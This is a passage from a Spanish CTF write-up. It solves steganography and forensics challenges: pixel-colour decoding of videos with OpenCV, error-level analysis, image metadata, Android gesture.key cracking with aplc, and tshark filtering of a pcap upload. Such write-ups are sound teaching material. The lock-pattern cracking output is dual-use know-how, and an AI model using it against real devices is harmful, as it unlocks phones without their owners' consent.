</span></span><span style="display:flex;"><span>[0 8 9]
</span></span><span style="display:flex;"><span>[0 8 9]
</span></span><span style="display:flex;"><span>[243 249 253]
</span></span><span style="display:flex;"><span>[243 249 253]
</span></span><span style="display:flex;"><span>[243 249 253]
</span></span><span style="display:flex;"><span>[243 249 253]
</span></span><span style="display:flex;"><span>[0 4 8]
</span></span><span style="display:flex;"><span>[243 249 253]
</span></span><span style="display:flex;"><span>[0 1 5]
</span></span><span style="display:flex;"><span>[0 1 5]
</span></span><span style="display:flex;"><span>[243 249 253]
</span></span><span style="display:flex;"><span>[0 0 5]
</span></span><span style="display:flex;"><span>[0 0 5]
</span></span><span style="display:flex;"><span>[0 0 5]
</span></span><span style="display:flex;"><span>[244 247 252]
</span></span><span style="display:flex;"><span>[244 247 252]
</span></span><span style="display:flex;"><span>[0 0 5]
</span></span><span style="display:flex;"><span>[0 0 5]
</span></span><span style="display:flex;"><span>[245 248 253]
</span></span><span style="display:flex;"><span>[244 247 252]
</span></span><span style="display:flex;"><span>[245 248 253]
</span></span><span style="display:flex;"><span>[0 2 6]
</span></span><span style="display:flex;"><span>[0 2 6]
</span></span><span style="display:flex;"><span>[242 248 252]
</span></span><span style="display:flex;"><span>[0 0 4]
</span></span><span style="display:flex;"><span>[0 0 4]
</span></span><span style="display:flex;"><span>[243 249 253]
</span></span><span style="display:flex;"><span>[0 0 4]
</span></span><span style="display:flex;"><span>[243 249 253]
</span></span><span style="display:flex;"><span>[243 249 253]
</span></span><span style="display:flex;"><span>[0 0 4]
</span></span><span style="display:flex;"><span>[243 249 253]
</span></span><span style="display:flex;"><span>[0 0 4]
</span></span><span style="display:flex;"><span>[0 0 4]
</span></span><span style="display:flex;"><span>[243 249 253]
</span></span><span style="display:flex;"><span>[0 0 6]
</span></span><span style="display:flex;"><span>[0 0 6]
</span></span><span style="display:flex;"><span>[0 0 6]
</span></span><span style="display:flex;"><span>[242 249 255]
</span></span><span style="display:flex;"><span>[242 249 255]
</span></span><span style="display:flex;"><span>[0 0 6]
</span></span><span style="display:flex;"><span>[0 0 6]
</span></span><span style="display:flex;"><span>[242 249 255]
</span></span><span style="display:flex;"><span>[242 249 255]
</span></span><span style="display:flex;"><span>[0 1 7]
</span></span><span style="display:flex;"><span>[0 1 7]
</span></span><span style="display:flex;"><span>[0 1 7]
</span></span><span style="display:flex;"><span>[234 241 247]
</span></span><span style="display:flex;"><span>[0 2 8]
</span></span><span style="display:flex;"><span>[235 243 247]
</span></span><span style="display:flex;"><span>[0 0 5]
</span></span><span style="display:flex;"><span>[0 0 5]
</span></span><span style="display:flex;"><span>[0 0 5]
</span></span><span style="display:flex;"><span>[0 0 5]
</span></span><span style="display:flex;"><span>[0 0 5]
</span></span><span style="display:flex;"><span>[234 245 246]
</span></span><span style="display:flex;"><span>[0 0 5]
</span></span><span style="display:flex;"><span>[0 0 5]
</span></span><span style="display:flex;"><span>[0 0 5]
</span></span><span style="display:flex;"><span>[239 250 251]
</span></span><span style="display:flex;"><span>[239 250 251]
</span></span><span style="display:flex;"><span>[241 250 251]
</span></span><span style="display:flex;"><span>[241 250 251]
</span></span><span style="display:flex;"><span>[239 250 251]
</span></span><span style="display:flex;"><span>[0 1 5]
</span></span><span style="display:flex;"><span>[0 1 5]
</span></span><span style="display:flex;"><span>[241 250 251]
</span></span><span style="display:flex;"><span>[0 1 5]
</span></span><span style="display:flex;"><span>[239 250 251]
</span></span><span style="display:flex;"><span>[239 250 251]
</span></span><span style="display:flex;"><span>[0 1 5]
</span></span><span style="display:flex;"><span>[234 243 244]
</span></span><span style="display:flex;"><span>[0 2 6]
</span></span><span style="display:flex;"><span>[0 2 6]
</span></span><span style="display:flex;"><span>[0 2 6]
</span></span><span style="display:flex;"><span>[0 2 6]
</span></span><span style="display:flex;"><span>[238 248 252]
</span></span><span style="display:flex;"><span>[238 248 252]
</span></span><span style="display:flex;"><span>[238 248 252]
</span></span><span style="display:flex;"><span>[239 247 251]
</span></span><span style="display:flex;"><span>[0 0 4]
</span></span><span style="display:flex;"><span>[0 0 4]
</span></span><span style="display:flex;"><span>[239 247 251]
</span></span><span style="display:flex;"><span>[238 248 252]
</span></span><span style="display:flex;"><span>[0 4 8]
</span></span><span style="display:flex;"><span>[238 248 252]
</span></span><span style="display:flex;"><span>[0 3 7]
</span></span><span style="display:flex;"><span>[238 248 252]
</span></span><span style="display:flex;"><span>[0 2 6]
</span></span><span style="display:flex;"><span>[0 2 6]
</span></span><span style="display:flex;"><span>[240 248 252]
</span></span><span style="display:flex;"><span>[0 2 6]
</span></span><span style="display:flex;"><span>[0 2 6]
</span></span><span style="display:flex;"><span>[241 249 253]
</span></span><span style="display:flex;"><span>[241 249 253]
</span></span><span style="display:flex;"><span>[241 249 253]
</span></span><span style="display:flex;"><span>[241 249 253]
</span></span><span style="display:flex;"><span>[241 249 253]
</span></span><span style="display:flex;"><span>[241 249 253]
</span></span><span style="display:flex;"><span>[241 249 253]
</span></span><span style="display:flex;"><span>[241 249 253]
</span></span><span style="display:flex;"><span>[241 249 253]
</span></span><span style="display:flex;"><span>[241 249 253]
</span></span><span style="display:flex;"><span>[241 249 253]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span><span style="display:flex;"><span>[0 0 0]
</span></span></code></pre></div><p>Se me hizo muy interesante que los valores fueran solo dos, altos y bajos, como binario (inclusive los beep de los pixeles), por lo que fije 200 como punto de corte y tome la primera columna de colores como margen, aunque pudo haber sido cualquiera como vimos en la imagen. El código ajustado quedó de la siguiente manera:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> cv2<span style="color:#f92672">,</span> re
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> PIL <span style="color:#f92672">import</span> Image
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>vc <span style="color:#f92672">=</span> cv2<span style="color:#f92672">.</span>VideoCapture(<span style="color:#e6db74">&#34;harder.mp4&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bm <span style="color:#f92672">=</span>  <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span>(<span style="color:#66d9ef">True</span>):
</span></span><span style="display:flex;"><span>    success, image <span style="color:#f92672">=</span> vc<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> success: <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">#print image[0, 0]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(image[<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>][<span style="color:#ae81ff">0</span>] <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">200</span>):
</span></span><span style="display:flex;"><span>        bm <span style="color:#f92672">+=</span> <span style="color:#e6db74">&#39;1&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>        bm <span style="color:#f92672">+=</span> <span style="color:#e6db74">&#39;0&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print [bm[i:i<span style="color:#f92672">+</span><span style="color:#ae81ff">8</span>] <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>, len(bm), <span style="color:#ae81ff">8</span>)]
</span></span><span style="display:flex;"><span>vc<span style="color:#f92672">.</span>release()
</span></span><span style="display:flex;"><span>cv2<span style="color:#f92672">.</span>destroyAllWindows()
</span></span></code></pre></div><p>Y la salida de este programa es la siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/crypto$ python stegnotcrypt.py
</span></span><span style="display:flex;"><span>[&#39;01100110&#39;, &#39;01101100&#39;, &#39;01100001&#39;, &#39;01100111&#39;, &#39;01111011&#39;, &#39;01100100&#39;, &#39;01100001&#39;, &#39;01101110&#39;, &#39;01100011&#39;, &#39;01101001&#39;, &#39;01101110&#39;, &#39;01100111&#39;, &#39;01011111&#39;, &#39;01110000&#39;, &#39;01101001&#39;, &#39;01111000&#39;, &#39;01100101&#39;, &#39;01101100&#39;, &#39;00000000&#39;, &#39;01111111&#39;, &#39;11111111&#39;, &#39;11111111&#39;, &#39;1111&#39;]
</span></span></code></pre></div><p>Ahora convirtamos estos strings con base binaria a ASCII, sustituyendo el print por un for de la siguiente manera:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>flag <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> l <span style="color:#f92672">in</span> [bm[i:i<span style="color:#f92672">+</span><span style="color:#ae81ff">8</span>] <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>, len(bm), <span style="color:#ae81ff">8</span>)]:
</span></span><span style="display:flex;"><span>    flag <span style="color:#f92672">+=</span> chr(int(l, <span style="color:#ae81ff">2</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print flag
</span></span></code></pre></div><p>Después de ejecutar el código veremos la flag del reto:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/crypto$ python stegnotcrypt.py
</span></span><span style="display:flex;"><span>flag{dancing_pixel
</span></span></code></pre></div><p>El código completo es el siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> cv2<span style="color:#f92672">,</span> re
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> PIL <span style="color:#f92672">import</span> Image
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>vc <span style="color:#f92672">=</span> cv2<span style="color:#f92672">.</span>VideoCapture(<span style="color:#e6db74">&#34;harder.mp4&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bm <span style="color:#f92672">=</span>  <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span>(<span style="color:#66d9ef">True</span>):
</span></span><span style="display:flex;"><span>    success, image <span style="color:#f92672">=</span> vc<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> success: <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">#print image[0, 0]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(image[<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>][<span style="color:#ae81ff">0</span>] <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">200</span>):
</span></span><span style="display:flex;"><span>        bm <span style="color:#f92672">+=</span> <span style="color:#e6db74">&#39;1&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>        bm <span style="color:#f92672">+=</span> <span style="color:#e6db74">&#39;0&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> l <span style="color:#f92672">in</span> [bm[i:i<span style="color:#f92672">+</span><span style="color:#ae81ff">8</span>] <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>, len(bm), <span style="color:#ae81ff">8</span>)]:
</span></span><span style="display:flex;"><span>    flag <span style="color:#f92672">+=</span> chr(int(l, <span style="color:#ae81ff">2</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print flag
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>vc<span style="color:#f92672">.</span>release()
</span></span><span style="display:flex;"><span>cv2<span style="color:#f92672">.</span>destroyAllWindows()
</span></span></code></pre></div><p>Desafortunadamente ya no llegue a ingresar esta flag en el sistema, pero me divertí un rato con opencv.</p>
<h3 id="flag-3">Flag</h3>
<p>flag{dancing_pixel}</p>
<h2 id="to-be-xor-not-to-be-200pts">To be XOR not to be (200pts)</h2>
<p>Han censurado la emisión de video, pero a ver si conseguimos el nombre del personaje que aperece en él.</p>
<p>Link: <a href="https://drive.google.com/open?id=1MWcJtoBXbDTiD-CB8LAxSGGAUPhiXFkQ">https://drive.google.com/open?id=1MWcJtoBXbDTiD-CB8LAxSGGAUPhiXFkQ</a></p>
<p>sha256.result.mp4: 75d835ac1d030ac1639d37df508cf666c44b1fbfec7c889fed888c19ddc795e9</p>
<hr>
<h3 id="solution-4">Solution</h3>
<p>Comenzamos por reproducir el video:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/crypto$ mpv result.mp4
</span></span><span style="display:flex;"><span>Playing: result.mp4
</span></span><span style="display:flex;"><span> (+) Video --vid=1 (*) (h264 480x194 25.000fps)
</span></span><span style="display:flex;"><span>File tags:
</span></span><span style="display:flex;"><span> Artist: Shakespeare
</span></span><span style="display:flex;"><span> Album:
</span></span><span style="display:flex;"><span> Comment:
</span></span><span style="display:flex;"><span> Date: 0
</span></span><span style="display:flex;"><span> Genre:
</span></span><span style="display:flex;"><span> Title: ToBxor!toB
</span></span><span style="display:flex;"><span> Track: 0
</span></span><span style="display:flex;"><span>VO: [gpu] 480x194 yuv444p
</span></span><span style="display:flex;"><span>V: 00:00:01 / 00:02:01 (1%)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Exiting... (Quit)
</span></span></code></pre></div><p>Como podemos observar, parece que hay algún tipo de ruido o interferencia que nos impide ver claramente que sucede en el video.</p>
<p>Después de intentar varias cosas, llego al fin un hit caído desde twitter. En el nos entregaban un fragmento con el nombre de pista.png</p>
<p>Tome ese PNG y después de jugar un poco con <a href="https://29a.ch/photo-forensics/#error-level-analysis">forensically</a>, logre ajustar el error y la escala del mismo hasta lograr observar un mensaje dentro de la imagen:</p>
<p><img src="/img/ciberseg19/result-with-ela.png" alt="result with ela"></p>
<p>Un poco de google nos ayudara a llegar a la obra <a href="https://es.wikiquote.org/wiki/El_mercader_de_Venecia">El mercader de Venecia</a> donde el dialogo pertenece al personaje Shylock.</p>
<p>No quedándome en esta parte, y ajustando el código de <a href="https://gist.githubusercontent.com/ewencp/3356622/raw/674e24a63924954e5e0ab758a9479c8914d03528/ela.py">ewencp</a>, implemente este siguiente código en python para recuperar el video completo lo mejor posible:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> contextlib <span style="color:#f92672">import</span> closing
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> videosequence <span style="color:#f92672">import</span> VideoSequence
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> PIL <span style="color:#f92672">import</span> Image, ImageChops, ImageEnhance
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> images2gif <span style="color:#f92672">import</span> writeGif
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> closing(VideoSequence(<span style="color:#e6db74">&#34;result.mp4&#34;</span>)) <span style="color:#66d9ef">as</span> frames:
</span></span><span style="display:flex;"><span>    newframes <span style="color:#f92672">=</span> []
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> idx,frame <span style="color:#f92672">in</span> enumerate(frames):
</span></span><span style="display:flex;"><span>        resaved <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;result/result_</span><span style="color:#e6db74">{:04d}</span><span style="color:#e6db74">_low.jpg&#34;</span><span style="color:#f92672">.</span>format(idx)
</span></span><span style="display:flex;"><span>        ela <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;result/result_</span><span style="color:#e6db74">{:04d}</span><span style="color:#e6db74">_ela.jpg&#34;</span><span style="color:#f92672">.</span>format(idx)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        frame<span style="color:#f92672">.</span>save(resaved, <span style="color:#e6db74">&#39;JPEG&#39;</span>, quality<span style="color:#f92672">=</span><span style="color:#ae81ff">5</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        resaved_im <span style="color:#f92672">=</span> Image<span style="color:#f92672">.</span>open(resaved)
</span></span><span style="display:flex;"><span>        ela_im <span style="color:#f92672">=</span> ImageChops<span style="color:#f92672">.</span>difference(frame, resaved_im)
</span></span><span style="display:flex;"><span>        extrema <span style="color:#f92672">=</span> ela_im<span style="color:#f92672">.</span>getextrema()
</span></span><span style="display:flex;"><span>        scale <span style="color:#f92672">=</span> <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        ela_im <span style="color:#f92672">=</span> ImageEnhance<span style="color:#f92672">.</span>Brightness(ela_im)<span style="color:#f92672">.</span>enhance(scale)
</span></span><span style="display:flex;"><span>        ela_im<span style="color:#f92672">.</span>save(ela)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        newframes<span style="color:#f92672">.</span>append(ela_im<span style="color:#f92672">.</span>copy())
</span></span><span style="display:flex;"><span>        frame<span style="color:#f92672">.</span>close()
</span></span><span style="display:flex;"><span>        ela_im<span style="color:#f92672">.</span>close()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    writeGif(<span style="color:#e6db74">&#34;result-with-ela.gif&#34;</span>,newframes)
</span></span></code></pre></div><h3 id="flag-4">Flag</h3>
<p>flag{shylock}</p>
<h1 id="forensics">Forensics</h1>
<h2 id="exfiltration-files-25pts">Exfiltration files (25pts)</h2>
<p>Hemos interceptado esta foto parece que oculta algún mensaje.</p>
<p>sha256: bf9f66b6d341570b4d2247453a20f6e13f1f135c3432a8d474560da6c7d3e7bf</p>
<hr>
<h3 id="solution-5">Solution</h3>
<p>Ejecutamos un strings sobre el archivo y la flag aparecerá como layer:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/forense$ strings imagen.jpg | grep flag
</span></span><span style="display:flex;"><span>&#34; id=&#34;W5M0MpCehiHzreSzNTczkc9d&#34;?&gt; &lt;x:xmpmeta xmlns:x=&#34;adobe:ns:meta/&#34; x:xmptk=&#34;Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00        &#34;&gt; &lt;rdf:RDF xmlns:rdf=&#34;http://www.w3.org/1999/02/22-rdf-syntax-ns#&#34;&gt; &lt;rdf:Description rdf:about=&#34;&#34; xmlns:xmp=&#34;http://ns.adobe.com/xap/1.0/&#34; xmlns:xmpMM=&#34;http://ns.adobe.com/xap/1.0/mm/&#34; xmlns:stEvt=&#34;http://ns.adobe.com/xap/1.0/sType/ResourceEvent#&#34; xmlns:photoshop=&#34;http://ns.adobe.com/photoshop/1.0/&#34; xmlns:dc=&#34;http://purl.org/dc/elements/1.1/&#34; xmp:CreatorTool=&#34;Adobe Photoshop CC 2014 (Windows)&#34; xmp:CreateDate=&#34;2019-01-17T13:03:34+01:00&#34; xmp:MetadataDate=&#34;2019-01-17T13:03:34+01:00&#34; xmp:ModifyDate=&#34;2019-01-17T13:03:34+01:00&#34; xmpMM:InstanceID=&#34;xmp.iid:8e9e2553-4ecd-7e42-9548-16647b7dda9e&#34; xmpMM:DocumentID=&#34;adobe:docid:photoshop:b305dd2d-1a4f-11e9-897e-ce2ac433bf61&#34; xmpMM:OriginalDocumentID=&#34;xmp.did:22aa09e6-3955-454e-9039-9b9d8e04376c&#34; photoshop:ColorMode=&#34;3&#34; photoshop:ICCProfile=&#34;Adobe RGB (1998)&#34; dc:format=&#34;image/jpeg&#34;&gt; &lt;xmpMM:History&gt; &lt;rdf:Seq&gt; &lt;rdf:li stEvt:action=&#34;created&#34; stEvt:instanceID=&#34;xmp.iid:22aa09e6-3955-454e-9039-9b9d8e04376c&#34; stEvt:when=&#34;2019-01-17T13:03:34+01:00&#34; stEvt:softwareAgent=&#34;Adobe Photoshop CC 2014 (Windows)&#34;/&gt; &lt;rdf:li stEvt:action=&#34;saved&#34; stEvt:instanceID=&#34;xmp.iid:8e9e2553-4ecd-7e42-9548-16647b7dda9e&#34; stEvt:when=&#34;2019-01-17T13:03:34+01:00&#34; stEvt:softwareAgent=&#34;Adobe Photoshop CC 2014 (Windows)&#34; stEvt:changed=&#34;/&#34;/&gt; &lt;/rdf:Seq&gt; &lt;/xmpMM:History&gt; &lt;photoshop:TextLayers&gt; &lt;rdf:Bag&gt; &lt;rdf:li photoshop:LayerName=&#34;flag{RapidoYFurioso}&#34; photoshop:LayerText=&#34;flag{RapidoYFurioso}&#34;/&gt; &lt;/rdf:Bag&gt; &lt;/photoshop:TextLayers&gt; &lt;/rdf:Description&gt; &lt;/rdf:RDF&gt; &lt;/x:xmpmeta&gt;
</span></span></code></pre></div><h3 id="flag-5">Flag</h3>
<p>flag{RapidoYFurioso}</p>
<h2 id="break-the-gesture-50pts">Break the gesture (50pts)</h2>
<p>sha256-gestures.key: 6e34680b9240ab502ffc51375da535586803b52e1ee72a0257e2b0e1ae1eac39</p>
<h3 id="solution-6">Solution</h3>
<p>Después de googlear, gesture.key y break, tenemos un resultado acerca del Pattern Lock de los celulares con SO Android. Usando apcl rompemos el patrón de bloqueo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/forense$ python ~/git/androidpatternlock/aplc.py gesture.key
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>################################
</span></span><span style="display:flex;"><span># Android Pattern Lock Cracker #
</span></span><span style="display:flex;"><span>#             v0.2             #
</span></span><span style="display:flex;"><span># ---------------------------- #
</span></span><span style="display:flex;"><span>#  Written by Chema Garcia     #
</span></span><span style="display:flex;"><span>#     http://safetybits.net    #
</span></span><span style="display:flex;"><span>#     chema@safetybits.net     #
</span></span><span style="display:flex;"><span>#          @sch3m4             #
</span></span><span style="display:flex;"><span>################################
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[i] Taken from: http://forensics.spreitzenbarth.de/2012/02/28/cracking-the-pattern-lock-on-android/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[:D] The pattern has been FOUND!!! =&gt; 210345876
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] Gesture:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  -----  -----  -----
</span></span><span style="display:flex;"><span>  | 3 |  | 2 |  | 1 |
</span></span><span style="display:flex;"><span>  -----  -----  -----
</span></span><span style="display:flex;"><span>  -----  -----  -----
</span></span><span style="display:flex;"><span>  | 4 |  | 5 |  | 6 |
</span></span><span style="display:flex;"><span>  -----  -----  -----
</span></span><span style="display:flex;"><span>  -----  -----  -----
</span></span><span style="display:flex;"><span>  | 9 |  | 8 |  | 7 |
</span></span><span style="display:flex;"><span>  -----  -----  -----
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>It took: 2.6252 seconds
</span></span></code></pre></div><h3 id="flag-6">Flag</h3>
<p>flag{210345876}</p>
<h2 id="pcap-250pts">Pcap (250pts)</h2>
<p>Creo que se han llevado algo. ¿Me puedes decir el nombre del archivo?</p>
<p>URL PCAP: <a href="https://drive.google.com/open?id=1VC1TYYb01fJPbjMBhKmsB9VgQtQ3-xXM">https://drive.google.com/open?id=1VC1TYYb01fJPbjMBhKmsB9VgQtQ3-xXM</a></p>
<p>SHA256 captura.pcap: ae4b4ef361dbbeb7ab7409df4eaca935856d5cda6976b59d9882cbddea508a36</p>
<hr>
<h3 id="solution-7">Solution</h3>
<p>Primero buscamos rápidamente en ICMP y UDP vía wireshark por comandos extraños. Al no encontrar nada inusual, buscamos por frame contains la palabra &ldquo;flag&rdquo;, pero tampoco tuvimos éxito. Continué buscando métodos POST para subir archivos y me encontré con uno:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/forense$ tshark -r captura.pcap -Y &#39;http.request.method == &#34;POST&#34;&#39;
</span></span><span style="display:flex;"><span>35391 144.991672 192.168.1.135 → 198.54.116.21 HTTP 2118 POST /download.php HTTP/1.1  (application/x-www-form-urlencoded)
</span></span></code></pre></div><p>Si desplegamos el contenido de este paquete veremos que se sube un texto encodeado en base64:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/forense$ tshark -r captura.pcap -Y &#39;http.request.method == &#34;POST&#34;&#39; -T fields -e urlencoded-form.key
</span></span><span 